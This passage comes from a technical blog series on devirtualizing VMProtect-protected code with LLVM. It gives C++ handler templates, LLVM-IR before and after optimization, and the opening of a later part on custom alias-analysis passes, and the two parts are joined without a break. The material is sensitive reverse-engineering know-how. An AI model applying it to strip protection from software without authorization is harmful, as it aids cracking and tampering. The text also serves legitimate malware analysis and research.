DEFINE_SEMANTIC(PUSH_VMREG_16_LOWLOW) = PUSH_VMREG<16, 0>;
DEFINE_SEMANTIC(PUSH_VMREG_16_LOWHIGH) = PUSH_VMREG<16, 1>;
DEFINE_SEMANTIC_64(PUSH_VMREG_16_HIGHLOW) = PUSH_VMREG<16, 2>;
DEFINE_SEMANTIC_64(PUSH_VMREG_16_HIGHHIGH) = PUSH_VMREG<16, 3>;
DEFINE_SEMANTIC_64(PUSH_VMREG_32_LOW) = PUSH_VMREG<32, 0>;
DEFINE_SEMANTIC_32(POP_VMREG_32) = POP_VMREG<32, 0>;
DEFINE_SEMANTIC_64(PUSH_VMREG_32_HIGH) = PUSH_VMREG<32, 1>;
DEFINE_SEMANTIC_64(PUSH_VMREG_64) = PUSH_VMREG<64, 0>;

We can see how the proper VmRegister sub-chunk is accessed based on the size and offset template parameters (e.g. vmreg.word.w1, vmreg.qword) and how once again the std::memcpy is used to implement a safe memory write on the indexed RAM array. The virtual stack pointer is also decremented as usual.

POP_VMREG

This handler is meant to pop a value from the stack and store it into a VmRegister. The value can also be a sub-chunk of the virtual register, not necessarily starting from the base of the VmRegister slot. Therefore the function arguments are going to be the virtual stack pointer and a reference to the VmRegister to be updated. As before the template is defining the size of the popped value and the offset into the VmRegister slot.

template <size_t Size, size_t Offset>
__attribute__((always_inline)) void POP_VMREG(size_t &vsp, VirtualRegister &vmreg) {
  // Fetch and store the value on the virtual register
  if constexpr (Size == 64) {
    uint64_t value = 0;
    std::memcpy(&value, &RAM[vsp], sizeof(uint64_t));
    vmreg.qword = value;
  } else if constexpr (Size == 32) {
    if constexpr (Offset == 0) {
      uint32_t value = 0;
      std::memcpy(&value, &RAM[vsp], sizeof(uint32_t));
      vmreg.qword = ((vmreg.qword & 0xFFFFFFFF00000000) | value);
    } else if constexpr (Offset == 1) {
      uint32_t value = 0;
      std::memcpy(&value, &RAM[vsp], sizeof(uint32_t));
      vmreg.qword = ((vmreg.qword & 0x00000000FFFFFFFF) | UShl(ZExt(value), 32));
    }
  } else if constexpr (Size == 16) {
    if constexpr (Offset == 0) {
      uint16_t value = 0;
      std::memcpy(&value, &RAM[vsp], sizeof(uint16_t));
      vmreg.qword = ((vmreg.qword & 0xFFFFFFFFFFFF0000) | value);
    } else if constexpr (Offset == 1) {
      uint16_t value = 0;
      std::memcpy(&value, &RAM[vsp], sizeof(uint16_t));
      vmreg.qword = ((vmreg.qword & 0xFFFFFFFF0000FFFF) | UShl(ZExtTo<uint64_t>(value), 16));
    } else if constexpr (Offset == 2) {
      uint16_t value = 0;
      std::memcpy(&value, &RAM[vsp], sizeof(uint16_t));
      vmreg.qword = ((vmreg.qword & 0xFFFF0000FFFFFFFF) | UShl(ZExtTo<uint64_t>(value), 32));
    } else if constexpr (Offset == 3) {
      uint16_t value = 0;
      std::memcpy(&value, &RAM[vsp], sizeof(uint16_t));
      vmreg.qword = ((vmreg.qword & 0x0000FFFFFFFFFFFF) | UShl(ZExtTo<uint64_t>(value), 48));
    }
  } else if constexpr (Size == 8) {
    if constexpr (Offset == 0) {
      uint16_t byte = 0;
      std::memcpy(&byte, &RAM[vsp], sizeof(uint16_t));
      vmreg.byte.b0 = Trunc(byte);
    } else if constexpr (Offset == 1) {
      uint16_t byte = 0;
      std::memcpy(&byte, &RAM[vsp], sizeof(uint16_t));
      vmreg.byte.b1 = Trunc(byte);
    }
    // NOTE: there might be other offsets here, but they were not observed
  }
  // Clear the value on the stack
  if constexpr (Size == 64) {
    uint64_t undef = UNDEF<uint64_t>();
    std::memcpy(&RAM[vsp], &undef, sizeof(uint64_t));
  } else if constexpr (Size == 32) {
    uint32_t undef = UNDEF<uint32_t>();
    std::memcpy(&RAM[vsp], &undef, sizeof(uint32_t));
  } else if constexpr (Size == 16) {
    uint16_t undef = UNDEF<uint16_t>();
    std::memcpy(&RAM[vsp], &undef, sizeof(uint16_t));
  } else if constexpr (Size == 8) {
    uint16_t undef = UNDEF<uint16_t>();
    std::memcpy(&RAM[vsp], &undef, sizeof(uint16_t));
  }
  // Update the stack pointer
  vsp += ((Size != 8) ? (Size / 8) : ((Size / 8) * 2));
}

DEFINE_SEMANTIC(POP_VMREG_8_LOW) = POP_VMREG<8, 0>;
DEFINE_SEMANTIC(POP_VMREG_8_HIGH) = POP_VMREG<8, 1>;
DEFINE_SEMANTIC(POP_VMREG_16_LOWLOW) = POP_VMREG<16, 0>;
DEFINE_SEMANTIC(POP_VMREG_16_LOWHIGH) = POP_VMREG<16, 1>;
DEFINE_SEMANTIC_64(POP_VMREG_16_HIGHLOW) = POP_VMREG<16, 2>;
DEFINE_SEMANTIC_64(POP_VMREG_16_HIGHHIGH) = POP_VMREG<16, 3>;
DEFINE_SEMANTIC_64(POP_VMREG_32_LOW) = POP_VMREG<32, 0>;
DEFINE_SEMANTIC_64(POP_VMREG_32_HIGH) = POP_VMREG<32, 1>;
DEFINE_SEMANTIC_64(POP_VMREG_64) = POP_VMREG<64, 0>;

In this case we can see that the update operation on the sub-chunks of the VmRegister is being done with some masking, shifting and zero extensions. This is to help LLVM with merging smaller integer values into a bigger integer value, whenever possible. As we saw in the STACK_POP operation, we are writing an undefined value to the current stack slot. Finally we are incrementing the virtual stack pointer.

LOAD and LOAD_GS

Generically speaking the LOAD handler is meant to pop an address from the stack, dereference it to load a value from one of the program segments and push the retrieved value to the top of the stack.

The following C++ snippet shows the implementation of a memory load from a generic memory pointer (e.g. SS or DS segments) and from the GS segment:

template <typename T> __attribute__((always_inline)) void LOAD(size_t &vsp) {
  // Check if it's 'byte' size
  bool isByte = (sizeof(T) == 1);
  // Pop the address
  size_t address = STACK_POP<size_t>(vsp);
  // Load the value
  T value = 0;
  std::memcpy(&value, &RAM[address], sizeof(T));
  // Save the result
  if (isByte) {
    STACK_PUSH<uint16_t>(vsp, ZExt(value));
  } else {
    STACK_PUSH<T>(vsp, value);
  }
}

DEFINE_SEMANTIC_64(LOAD_SS_64) = LOAD<uint64_t>;
DEFINE_SEMANTIC(LOAD_SS_32) = LOAD<uint32_t>;
DEFINE_SEMANTIC(LOAD_SS_16) = LOAD<uint16_t>;
DEFINE_SEMANTIC(LOAD_SS_8) = LOAD<uint8_t>;

DEFINE_SEMANTIC_64(LOAD_DS_64) = LOAD<uint64_t>;
DEFINE_SEMANTIC(LOAD_DS_32) = LOAD<uint32_t>;
DEFINE_SEMANTIC(LOAD_DS_16) = LOAD<uint16_t>;
DEFINE_SEMANTIC(LOAD_DS_8) = LOAD<uint8_t>;

template <typename T> __attribute__((always_inline)) void LOAD_GS(size_t &vsp) {
  // Check if it's 'byte' size
  bool isByte = (sizeof(T) == 1);
  // Pop the address
  size_t address = STACK_POP<size_t>(vsp);
  // Load the value
  T value = 0;
  std::memcpy(&value, &GS[address], sizeof(T));
  // Save the result
  if (isByte) {
    STACK_PUSH<uint16_t>(vsp, ZExt(value));
  } else {
    STACK_PUSH<T>(vsp, value);
  }
}

DEFINE_SEMANTIC_64(LOAD_GS_64) = LOAD_GS<uint64_t>;
DEFINE_SEMANTIC(LOAD_GS_32) = LOAD_GS<uint32_t>;
DEFINE_SEMANTIC(LOAD_GS_16) = LOAD_GS<uint16_t>;
DEFINE_SEMANTIC(LOAD_GS_8) = LOAD_GS<uint8_t>;

By now the process should be clear. The only difference is the accessed zero-length array that will end up as base of the getelementptr instruction, which will directly reflect on the aliasing information that LLVM will be able to infer. The same kind of logic is applied to all the read or write memory accesses to the different segments.

DEFINE_SEMANTIC

In the code snippets of this section you may have noticed three macros named DEFINE_SEMANTIC_64, DEFINE_SEMANTIC_32 and DEFINE_SEMANTIC. They are the umpteenth trick borrowed from Remill and are meant to generate global variables with unmangled names, pointing to the function definition of the specialized template handlers. As an example, the ADD semantic definition for the 8/16/32/64 bits cases looks like this at the LLVM-IR level:

@SEM_ADD_64 = dso_local constant void (i64*)* @_Z3ADDIyEvRm, align 8
@SEM_ADD_32 = dso_local constant void (i64*)* @_Z3ADDIjEvRm, align 8
@SEM_ADD_16 = dso_local constant void (i64*)* @_Z3ADDItEvRm, align 8
@SEM_ADD_8 = dso_local constant void (i64*)* @_Z3ADDIhEvRm, align 8

UNDEF

In the code snippets of this section you may also have noticed the usage of a function called UNDEF. This function is used to store a fictitious __undef value after each pop from the stack. This is done to signal to LLVM that the popped value is no longer needed after being popped from the stack.

The __undef value is modeled as a global variable, which during the first phase of the optimization pipeline will be used by passes like DSE to kill overlapping post-dominated dead stores and it’ll be replaced with a real undef value near the end of the optimization pipeline such that the related store instruction will be gone on the final optimized LLVM-IR function.

Lifting a basic block

We now have a bunch of templates, structures and helper functions, but how do we actually end up lifting some virtualized code?

The high level idea is the following:

  • A new LLVM-IR function with the HelperStub signature is generated;
  • The function’s body is populated with call instructions to the VmHandler helper functions fed with the proper arguments (obtained from the HelperStub parameters);
  • The optimization pipeline is executed on the function, resulting in the inlining of all the helper functions (that are marked always_inline) and in the propagation of the values;
  • The updated state of the VmRegisters, VmPassingSlots and stores to the segments is optimized, removing most of the obfuscation patterns used by VMProtect;
  • The updated state of the virtual stack pointer and virtual instruction pointer is computed.

A fictitious example of a full pipeline based on the HelperStub function, implemented at the C++ level and optimized to obtain propagated LLVM-IR code follows:

extern "C" __attribute__((always_inline)) size_t SimpleExample_HelperStub(
  rptr rax, rptr rbx, rptr rcx,
  rptr rdx, rptr rsi, rptr rdi,
  rptr rbp, rptr rsp, rptr r8,
  rptr r9, rptr r10, rptr r11,
  rptr r12, rptr r13, rptr r14,
  rptr r15, rptr flags,
  size_t KEY_STUB, size_t RET_ADDR, size_t REL_ADDR, rptr vsp,
  rptr vip, VirtualRegister *__restrict__ vmregs,
  size_t *__restrict__ slots) {

  PUSH_REG(vsp, rax);
  PUSH_REG(vsp, rbx);
  POP_VMREG<64, 0>(vsp, vmregs[1]);
  POP_VMREG<64, 0>(vsp, vmregs[0]);
  PUSH_VMREG<64, 0>(vsp, vmregs[0]);
  PUSH_VMREG<64, 0>(vsp, vmregs[1]);
  ADD<uint64_t>(vsp);
  POP_VMREG<64, 0>(vsp, vmregs[2]);
  POP_VMREG<64, 0>(vsp, vmregs[3]);
  PUSH_VMREG<64, 0>(vsp, vmregs[3]);
  POP_REG(vsp, rax);

  return vip;
}

The C++ HelperStub function with calls to the handlers. This only serves as an example, normally the LLVM-IR for this is automatically generated from VM bytecode.

define dso_local i64 @SimpleExample_HelperStub(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR, i64* noalias nonnull align 8 dereferenceable(8) %vsp, i64* noalias nonnull align 8 dereferenceable(8) %vip, %struct.VirtualRegister* noalias %vmregs, i64* noalias %slots) local_unnamed_addr {
entry:
  %rax.addr = alloca i64*, align 8
  %rbx.addr = alloca i64*, align 8
  %rcx.addr = alloca i64*, align 8
  %rdx.addr = alloca i64*, align 8
  %rsi.addr = alloca i64*, align 8
  %rdi.addr = alloca i64*, align 8
  %rbp.addr = alloca i64*, align 8
  %rsp.addr = alloca i64*, align 8
  %r8.addr = alloca i64*, align 8
  %r9.addr = alloca i64*, align 8
  %r10.addr = alloca i64*, align 8
  %r11.addr = alloca i64*, align 8
  %r12.addr = alloca i64*, align 8
  %r13.addr = alloca i64*, align 8
  %r14.addr = alloca i64*, align 8
  %r15.addr = alloca i64*, align 8
  %flags.addr = alloca i64*, align 8
  %KEY_STUB.addr = alloca i64, align 8
  %RET_ADDR.addr = alloca i64, align 8
  %REL_ADDR.addr = alloca i64, align 8
  %vsp.addr = alloca i64*, align 8
  %vip.addr = alloca i64*, align 8
  %vmregs.addr = alloca %struct.VirtualRegister*, align 8
  %slots.addr = alloca i64*, align 8
  %agg.tmp = alloca %struct.VirtualRegister, align 1
  %agg.tmp4 = alloca %struct.VirtualRegister, align 1
  %agg.tmp10 = alloca %struct.VirtualRegister, align 1
  store i64* %rax, i64** %rax.addr, align 8
  store i64* %rbx, i64** %rbx.addr, align 8
  store i64* %rcx, i64** %rcx.addr, align 8
  store i64* %rdx, i64** %rdx.addr, align 8
  store i64* %rsi, i64** %rsi.addr, align 8
  store i64* %rdi, i64** %rdi.addr, align 8
  store i64* %rbp, i64** %rbp.addr, align 8
  store i64* %rsp, i64** %rsp.addr, align 8
  store i64* %r8, i64** %r8.addr, align 8
  store i64* %r9, i64** %r9.addr, align 8
  store i64* %r10, i64** %r10.addr, align 8
  store i64* %r11, i64** %r11.addr, align 8
  store i64* %r12, i64** %r12.addr, align 8
  store i64* %r13, i64** %r13.addr, align 8
  store i64* %r14, i64** %r14.addr, align 8
  store i64* %r15, i64** %r15.addr, align 8
  store i64* %flags, i64** %flags.addr, align 8
  store i64 %KEY_STUB, i64* %KEY_STUB.addr, align 8
  store i64 %RET_ADDR, i64* %RET_ADDR.addr, align 8
  store i64 %REL_ADDR, i64* %REL_ADDR.addr, align 8
  store i64* %vsp, i64** %vsp.addr, align 8
  store i64* %vip, i64** %vip.addr, align 8
  store %struct.VirtualRegister* %vmregs, %struct.VirtualRegister** %vmregs.addr, align 8
  store i64* %slots, i64** %slots.addr, align 8
  %0 = load i64*, i64** %vsp.addr, align 8
  %1 = load i64*, i64** %rax.addr, align 8
  %2 = load i64, i64* %1, align 8
  call void @_Z8PUSH_REGRmm(i64* nonnull align 8 dereferenceable(8) %0, i64 %2)
  %3 = load i64*, i64** %vsp.addr, align 8
  %4 = load i64*, i64** %rbx.addr, align 8
  %5 = load i64, i64* %4, align 8
  call void @_Z8PUSH_REGRmm(i64* nonnull align 8 dereferenceable(8) %3, i64 %5)
  %6 = load i64*, i64** %vsp.addr, align 8
  %7 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
  %arrayidx = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %7, i64 1
  call void @_Z9POP_VMREGILm64ELm0EEvRmR15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %6, %struct.VirtualRegister* nonnull align 1 dereferenceable(8) %arrayidx)
  %8 = load i64*, i64** %vsp.addr, align 8
  %9 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
  %arrayidx1 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %9, i64 0
  call void @_Z9POP_VMREGILm64ELm0EEvRmR15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %8, %struct.VirtualRegister* nonnull align 1 dereferenceable(8) %arrayidx1)
  %10 = load i64*, i64** %vsp.addr, align 8
  %11 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
  %arrayidx2 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %11, i64 0
  %12 = bitcast %struct.VirtualRegister* %agg.tmp to i8*
  %13 = bitcast %struct.VirtualRegister* %arrayidx2 to i8*
  call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 %12, i8* align 1 %13, i64 8, i1 false)
  %coerce.dive = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %agg.tmp, i32 0, i32 0
  %coerce.dive3 = getelementptr inbounds %union.anon, %union.anon* %coerce.dive, i32 0, i32 0
  %14 = load i64, i64* %coerce.dive3, align 1
  call void @_Z10PUSH_VMREGILm64ELm0EEvRm15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %10, i64 %14)
  %15 = load i64*, i64** %vsp.addr, align 8
  %16 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
  %arrayidx5 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %16, i64 1
  %17 = bitcast %struct.VirtualRegister* %agg.tmp4 to i8*
  %18 = bitcast %struct.VirtualRegister* %arrayidx5 to i8*
  call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 %17, i8* align 1 %18, i64 8, i1 false)
  %coerce.dive6 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %agg.tmp4, i32 0, i32 0
  %coerce.dive7 = getelementptr inbounds %union.anon, %union.anon* %coerce.dive6, i32 0, i32 0
  %19 = load i64, i64* %coerce.dive7, align 1
  call void @_Z10PUSH_VMREGILm64ELm0EEvRm15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %15, i64 %19)
  %20 = load i64*, i64** %vsp.addr, align 8
  call void @_Z3ADDIyEvRm(i64* nonnull align 8 dereferenceable(8) %20)
  %21 = load i64*, i64** %vsp.addr, align 8
  %22 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
  %arrayidx8 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %22, i64 2
  call void @_Z9POP_VMREGILm64ELm0EEvRmR15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %21, %struct.VirtualRegister* nonnull align 1 dereferenceable(8) %arrayidx8)
  %23 = load i64*, i64** %vsp.addr, align 8
  %24 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
  %arrayidx9 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %24, i64 3
  call void @_Z9POP_VMREGILm64ELm0EEvRmR15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %23, %struct.VirtualRegister* nonnull align 1 dereferenceable(8) %arrayidx9)
  %25 = load i64*, i64** %vsp.addr, align 8
  %26 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
  %arrayidx11 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %26, i64 3
  %27 = bitcast %struct.VirtualRegister* %agg.tmp10 to i8*
  %28 = bitcast %struct.VirtualRegister* %arrayidx11 to i8*
  call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 %27, i8* align 1 %28, i64 8, i1 false)
  %coerce.dive12 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %agg.tmp10, i32 0, i32 0
  %coerce.dive13 = getelementptr inbounds %union.anon, %union.anon* %coerce.dive12, i32 0, i32 0
  %29 = load i64, i64* %coerce.dive13, align 1
  call void @_Z10PUSH_VMREGILm64ELm0EEvRm15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %25, i64 %29)
  %30 = load i64*, i64** %vsp.addr, align 8
  %31 = load i64*, i64** %rax.addr, align 8
  call void @_Z7POP_REGRmS_(i64* nonnull align 8 dereferenceable(8) %30, i64* nonnull align 8 dereferenceable(8) %31)
  %32 = load i64*, i64** %vip.addr, align 8
  %33 = load i64, i64* %32, align 8
  ret i64 %33
}

The LLVM-IR compiled from the previous C++ HelperStub function.

define dso_local i64 @SimpleExample_HelperStub(i64* noalias nocapture nonnull align 8 dereferenceable(8) %rax, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %rbx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rcx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rdx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rsi, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rdi, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rbp, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rsp, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r8, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r9, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r10, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r11, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r12, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r13, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r14, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r15, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR, i64* noalias nonnull align 8 dereferenceable(8) %vsp, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %vip, %struct.VirtualRegister* noalias nocapture %vmregs, i64* noalias nocapture readnone %slots) local_unnamed_addr {
entry:
  %0 = load i64, i64* %rax, align 8
  %1 = load i64, i64* %vsp, align 8
  %sub.i.i = add i64 %1, -8
  %arrayidx.i.i = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %sub.i.i
  %value.addr.0.arrayidx.sroa_cast.i.i = bitcast i8* %arrayidx.i.i to i64*
  %2 = load i64, i64* %rbx, align 8
  %sub.i.i66 = add i64 %1, -16
  %arrayidx.i.i67 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %sub.i.i66
  %value.addr.0.arrayidx.sroa_cast.i.i68 = bitcast i8* %arrayidx.i.i67 to i64*
  %qword.i62 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %vmregs, i64 1, i32 0, i32 0
  store i64 %2, i64* %qword.i62, align 1
  %3 = load i64, i64* @__undef, align 8
  %qword.i55 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %vmregs, i64 0, i32 0, i32 0
  store i64 %0, i64* %qword.i55, align 1
  %add.i32.i = add i64 %2, %0
  %cmp.i.i.i.i = icmp ult i64 %add.i32.i, %2
  %cmp1.i.i.i.i = icmp ult i64 %add.i32.i, %0
  %4 = or i1 %cmp.i.i.i.i, %cmp1.i.i.i.i
  %conv.i.i.i.i = trunc i64 %add.i32.i to i32
  %conv.i.i.i.i.i = and i32 %conv.i.i.i.i, 255
  %5 = tail call i32 @llvm.ctpop.i32(i32 %conv.i.i.i.i.i)
  %xor.i.i28.i.i = xor i64 %2, %0
  %xor1.i.i.i.i = xor i64 %xor.i.i28.i.i, %add.i32.i
  %and.i.i.i.i = and i64 %xor1.i.i.i.i, 16
  %cmp.i.i27.i.i = icmp eq i64 %add.i32.i, 0
  %shr.i.i.i.i = lshr i64 %2, 63
  %shr1.i.i.i.i = lshr i64 %0, 63
  %shr2.i.i.i.i = lshr i64 %add.i32.i, 63
  %xor.i.i.i.i = xor i64 %shr2.i.i.i.i, %shr.i.i.i.i
  %xor3.i.i.i.i = xor i64 %shr2.i.i.i.i, %shr1.i.i.i.i
  %add.i.i.i.i = add nuw nsw i64 %xor.i.i.i.i, %xor3.i.i.i.i
  %cmp.i.i25.i.i = icmp eq i64 %add.i.i.i.i, 2
  %conv.i.i.i = zext i1 %4 to i64
  %6 = shl nuw nsw i32 %5, 2
  %7 = and i32 %6, 4
  %8 = xor i32 %7, 4
  %9 = zext i32 %8 to i64
  %shl22.i.i.i = select i1 %cmp.i.i27.i.i, i64 64, i64 0
  %10 = lshr i64 %add.i32.i, 56
  %11 = and i64 %10, 128
  %shl34.i.i.i = select i1 %cmp.i.i25.i.i, i64 2048, i64 0
  %or6.i.i.i = or i64 %11, %shl22.i.i.i
  %and13.i.i.i = or i64 %or6.i.i.i, %and.i.i.i.i
  %or17.i.i.i = or i64 %and13.i.i.i, %conv.i.i.i
  %and25.i.i.i = or i64 %or17.i.i.i, %shl34.i.i.i
  %or29.i.i.i = or i64 %and25.i.i.i, %9
  %qword.i36 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %vmregs, i64 2, i32 0, i32 0
  store i64 %or29.i.i.i, i64* %qword.i36, align 1
  store i64 %3, i64* %value.addr.0.arrayidx.sroa_cast.i.i68, align 1
  %qword.i = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %vmregs, i64 3, i32 0, i32 0
  store i64 %add.i32.i, i64* %qword.i, align 1
  store i64 %3, i64* %value.addr.0.arrayidx.sroa_cast.i.i, align 1
  store i64 %add.i32.i, i64* %rax, align 8
  %12 = load i64, i64* %vip, align 8
  ret i64 %12
}

The LLVM-IR of the HelperStub function with inlined and optimized calls to the handlers

The last snippet is representing all the semantic computations related with a VmBlock, as described in the high level overview. Although, if the code we lifted is capturing the whole semantics related with a VmStub, we can wrap the HelperStub function with the HelperFunction function, which enforces the liveness properties described in the Liveness and aliasing information section, enabling us to obtain only the computations updating the host execution context:

extern "C" size_t SimpleExample_HelperFunction(
    rptr rax, rptr rbx, rptr rcx,
    rptr rdx, rptr rsi, rptr rdi,
    rptr rbp, rptr rsp, rptr r8,
    rptr r9, rptr r10, rptr r11,
    rptr r12, rptr r13, rptr r14,
    rptr r15, rptr flags, size_t KEY_STUB,
    size_t RET_ADDR, size_t REL_ADDR) {
  // Allocate the temporary virtual registers
  VirtualRegister vmregs[30] = {0};
  // Allocate the temporary passing slots
  size_t slots[30] = {0};
  // Initialize the virtual registers
  size_t vsp = rsp;
  size_t vip = 0;
  // Force the relocation address to 0
  REL_ADDR = 0;
  // Execute the virtualized code
  vip = SimpleExample_HelperStub(
    rax, rbx, rcx, rdx, rsi, rdi,
    rbp, rsp, r8, r9, r10, r11,
    r12, r13, r14, r15, flags,
    KEY_STUB, RET_ADDR, REL_ADDR,
    vsp, vip, vmregs, slots);
  // Return the next address(es)
  return vip;
}

The C++ HelperFunction function with the call to the HelperStub function and the relevant stack frame allocations.

define dso_local i64 @SimpleExample_HelperFunction(i64* noalias nocapture nonnull align 8 dereferenceable(8) %rax, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %rbx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rcx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rdx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rsi, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rdi, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rbp, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %rsp, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r8, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r9, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r10, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r11, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r12, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r13, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r14, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r15, i64* noalias nocapture nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) local_unnamed_addr {
entry:
  %0 = load i64, i64* %rax, align 8
  %1 = load i64, i64* %rbx, align 8
  %add.i32.i.i = add i64 %1, %0
  store i64 %add.i32.i.i, i64* %rax, align 8
  ret i64 0
}

The LLVM-IR HelperFunction function with fully optimized code.

It can be seen that the example is just pushing the values of the registers rax and rbx, loading them in vmregs[0] and vmregs[1] respectively, pushing the VmRegisters on the stack, adding them together, popping the updated flags in vmregs[2], popping the addition’s result to vmregs[3] and finally pushing vmregs[3] on the stack to be popped in the rax register at the end. The liveness of the values of the VmRegisters ends with the end of the function, hence the updated flags saved in vmregs[2] won’t be reflected on the host execution context. Looking at the final snippet we can see that the semantics of the code have been successfully obtained.

What’s next?

In Part 2 we’ll put the described structures and helpers to good use, digging into the details of the virtualized CFG exploration and introducing the basics of the LLVM optimization pipeline.

Tickling VMProtect with LLVM: Part 3

By: fvrmatteo
8 September 2021 at 23:00

This post will introduce 7 custom passes that, once added to the optimization pipeline, will make the overall LLVM-IR output more readable. Some words will be spent on the unsupported instructions lifting and recompilation topics. Finally, the output of 6 devirtualized functions will be shown.

Custom passes

This section will give an overview of some custom passes meant to:

  • Solve VMProtect specific optimization problems;
  • Solve some limitations of existing LLVM passes, but that won’t meet the same quality standard of an official LLVM pass.

SegmentsAA

This pass falls under the category of the VMProtect specific optimization problems and is probably the most delicate of the section, as it may be feeding LLVM with unsafe assumptions. The aliasing information described in the Liveness and aliasing information section will finally come in handy. In fact, the goal of the pass is to identify the type of two pointers and determine if they can be deemed as not aliasing with one another.

With the structures defined in the previous sections, LLVM is already able to infer that two pointers derived from the following sources don’t alias with one another:

  • general purpose registers
  • VmRegisters
  • VmPassingSlots
  • GS zero-sized array
  • FS zero-sized array
  • RAM zero-sized array (with constant index)
  • RAM zero-sized array (with symbolic index)

Additionally LLVM can also discern between pointers with RAM base using a simple symbolic index. For example an access to [rsp - 0x10] (local stack slot) will be considered as NoAlias when compared with an access to [rsp + 0x10] (incoming stack argument).

But LLVM’s alias analysis passes fall short when handling pointers using as base the RAM array and employing a more convoluted symbolic index, and the reason for the shortcoming is entirely related to the lack of type and context information that got lost during the compilation to binary.

The pass is inspired by existing implementations (1, 2, 3) that are basing their checks on the identification of pointers belonging to different segments and address spaces.

Slicing the symbolic index used in a RAM array access we can discern with high confidence between the following additional NoAlias memory accesses:

  • indirect access: if the access is a stack argument ([rsp] or [rsp + positive_constant_offset + symbolic_offset]), a dereferenced general purpose register ([rax]) or a nested dereference (val1 = [rax], val2 = [val1]); identified as TyIND in the code;
  • local stack slot: if the access is of the form [rsp - positive_constant_offset + symbolic_offset]; identified as TySS in the code;
  • local stack array: if the access if of the form [rsp - positive_constant_offset + phi_index]; identified as TyARR in the code.

